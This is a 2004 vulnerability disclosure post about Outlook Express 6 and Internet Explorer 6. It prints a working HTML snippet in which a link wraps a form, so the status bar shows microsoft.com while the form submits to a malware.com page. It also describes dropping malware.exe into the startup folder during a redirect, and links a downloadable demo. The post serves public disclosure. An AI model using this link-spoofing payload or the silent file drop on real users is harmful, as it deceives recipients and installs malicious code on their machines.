NOT GOOD: Outlook Express 6 + Internet Explorer 6
Wednesday, March 31, 2004
This is somewhat disconcerting. Reference the recently disclosed
Internet Explorer 'bug' presently in the wild [original
discussion: http://www.securityfocus.com/archive/1/358813 with
additional input buried thereunder in subsequent threads]
allowing for complete remote compromise of the client machine
without any user interaction other than viewing a webpage,
through yet again, the Microsoft Internet Explorer browser.
A lot of 'chatter' or very bold claims 'having been the first to
see this and analyse it' seem to have appeared recently that
would make this particular bug well known for at least 6 weeks
now. We must assume that these claimants had immediately
notified the manufacturer of this particular device that allows
for all of this immediately back then. Accordingly 6 weeks have
transpired and to date all users of this particular merchant's
product remain vulnerable.
It still remains "unpatched".
Perhaps to speed things up, the introduction of the Outlook
Express email client from the same merchant might be necessary:
Commence:
Outlook Express number 6 has fairly stringent security settings
in default mode, most notable, setting all actions in the so-
called 'restricted zone'. This disallows such things as frames,
scripting, objects etc.
However it does allow from one interesting piece of html
Forms:
<A
href="http://www.microsoft.com";>
<FORM action=http://www.malware.com/t-bill.html method=get>
<INPUT style="BORDER-RIGHT: 0pt;
BORDER-TOP: 0pt; FONT-SIZE: 10pt; BORDER-LEFT: 0pt; CURSOR:
hand; COLOR:
blue; BORDER-BOTTOM: 0pt; BACKGROUND-COLOR: transparent;
TEXT-DECORATION: underline" type=submit
value=http://www.microsoft.com>
</A>
What is of particular interest is that if we encase our html
form with a run-of-the-mill 'link', we are able to spoof in our
status bar our true destination:
[screen shot: http://www.malware.com/not-good.png 24KB]
as well as re-style our form to suit our needs.
What we then do is construct our original functional demo to:
a) redirect immediately on loading to the 'suggested' address;
that is http://www.microsoft.com
b) at that instance [prior], drop our malware.exe into our
startup folder for execution the next day
while the recipient is blissfully unaware viewing the site as
indicated.
Fully Functional Harmless Demo:
http://www.malware.com/not-so-good.zip
note: regardless of where this is viewed, it is governed by
the 'restricted zone' at all times
In this particular demo, we drop malware.exe into C: trivial
tweaking via shell or full path places it wherever we like. This
fully functional demo is heavily diluted. Practical
implementation requires minor modifications on the
transmitting client side. This demo will be flagged by AV suites
owing to past usage and recognisable code.
End Call
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